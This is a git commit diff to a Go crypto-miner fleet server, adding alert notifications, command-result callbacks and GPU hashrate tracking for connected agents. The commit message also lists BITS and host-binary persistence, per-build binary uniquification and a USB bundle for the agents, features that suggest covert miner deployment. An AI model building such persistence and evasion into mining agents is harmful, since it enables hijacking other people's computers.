feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -2,8 +2,10 @@ package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"database/sql"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
@@ -11,6 +13,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
@@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
return d.Conn.WriteControl(messageType, data, deadline)
|
||||
}
|
||||
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -115,7 +121,13 @@ type WSHub struct {
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
}
|
||||
|
||||
h := &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pingIntervalSec: 30,
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
// Background stale-agent sweep: if an agent's last_seen is more than
|
||||
@@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) {
|
||||
|
||||
// SetFleetSecret stores the shared secret that all forged agents must present.
|
||||
// Called once at startup from main.go after config is loaded.
|
||||
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
|
||||
h.mu.Lock()
|
||||
h.eventNotifier = n
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Lock()
|
||||
h.fleetSecret = secret
|
||||
@@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int {
|
||||
return len(h.agents)
|
||||
}
|
||||
|
||||
// AwaitCommandResult registers a one-shot channel that will receive the next
|
||||
// command_result payload for the given agentID+action pair. Call before
|
||||
// sending the command so no result is missed. The caller must read from the
|
||||
// returned channel within the given timeout.
|
||||
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
|
||||
ch := make(chan map[string]interface{}, 1)
|
||||
h.pendingCmdMu.Lock()
|
||||
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
|
||||
h.pendingCmdMu.Unlock()
|
||||
return ch
|
||||
}
|
||||
|
||||
// CancelAwait removes a pending callback without consuming it.
|
||||
func (h *WSHub) CancelAwait(agentID, action string) {
|
||||
h.pendingCmdMu.Lock()
|
||||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||
h.pendingCmdMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
|
||||
h.pendingCmdMu.Lock()
|
||||
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
|
||||
if ok {
|
||||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||
}
|
||||
h.pendingCmdMu.Unlock()
|
||||
if ok {
|
||||
select {
|
||||
case ch <- payload:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentConnected(agentID string) bool {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
clientIP = clientIP[:idx]
|
||||
}
|
||||
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if policy.MaxAgents > 0 {
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Payload: mustMarshal(agent),
|
||||
})
|
||||
|
||||
if h.eventNotifier != nil {
|
||||
platform := auth.Platform
|
||||
if platform == "" {
|
||||
platform = "unknown"
|
||||
}
|
||||
if isNewAgent {
|
||||
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
|
||||
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
|
||||
} else if alreadyConnected {
|
||||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||
displayName+" took over an active session ("+clientIP+")")
|
||||
} else if prior != nil && prior.Status != "online" {
|
||||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||
displayName+" is back online ("+platform+" · "+clientIP+")")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
|
||||
broadcast := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
@@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user